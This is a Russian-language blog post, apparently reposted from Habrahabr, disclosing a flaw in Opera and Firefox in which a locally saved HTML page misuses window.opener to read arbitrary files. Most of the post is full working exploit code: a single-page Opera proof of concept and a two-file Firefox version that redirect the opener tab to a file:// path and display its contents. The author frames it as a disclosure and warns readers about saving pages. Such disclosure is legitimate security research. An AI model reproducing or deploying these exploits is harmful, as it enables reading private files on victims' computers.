Уязвимость позволяет странице, сохраненной на вашем компьютере, читать произвольные файлы на вашей системе.
Уязвимость существует из-за недостаточного контроля за сменой window.opener.
Атакующий может встроить в страницу произвольный HTML код и при запуске данной страницы на локальной системе, появляется возможность прочитать содержимое почти любого файла (Разумеется, при наличии привилегий).
Opera
Т.к уязвимость довольно простая, то сразу публикую exploit. С проблемой window.opener, можно познакомиться тут.
<html> <body> <script>
if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) { //запуск кода только в браузере Opera и при вызове страницы через протокол file var file=prompt("Example: C:/file.txt "); //Какой файл хотим прочитать? if(file){ console.log("File: "+file); document.write("<center>"+ "<a href='data:text/html,"+ //создадим ссылку, использующую протокол data "<script>"+ "if(window.opener){"+ //ТОЛЬКО если window.opener инициализирован "window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //меняем адрес родительской вкладки на путь к файлу "};%3C%2Fscript%3E"+ "%3Cscript%3E"+ // Используя второй тег script, обойдем систему безопасности "alert(window.opener.document.body.innerHTML);"+ //Вывод содержимого файла :) "%3C%2Fscript%3E"+ "' target='_blank'>"+ //target= _blank "CLICK-CLICK</a>"); }}
</script> </body> </html>
Видео, демонстрирующее данную уязвимость:
FireFox
Уязвимость в этом браузере аналогичная, но тут ее сложнее эксплуатировать.
Для полного доступа к данным, код нужно поместить в корень диска.
На nix’ах не тестировал и следовательно, о поведении кода в nix’ах, говорить не могу.
Тут код состоит из двух файлов, для обхода ограничений в браузере.
Файл первый (Fir.html):
<html> <body> <script>
if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){ //запуск кода только в браузере Firefox и при вызове страницы через протокол file document.write("<center>"+ "<a href='./payload.html'"+ //вызываем payload.html " target='_blank'>CLICK-CLICK</a>"); //target=_blank };
</script> </body> </html>
Файл второй (payload.html):
<html> <body> <script>
var file=prompt('Example: C:/file.txt'); console.log(file); window.opener.location="file://localhost/"+file;
</script> <script>
var al=function(){alert(window.opener.document.body.innerHTML)}; //Выводим файл while(!window.opener.document.body){ //window.opener.document.body=null alert('Click OK'); //задержка al(); //Вызов функции };
</script> </body> </html>
Видео:
Злоключение
То что exploit может сработать только находясь на целевой системе, не делает данную уязвимость критической.
Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы 🙂
ссылка на оригинал статьи http://habrahabr.ru/post/165339/
Добавить комментарий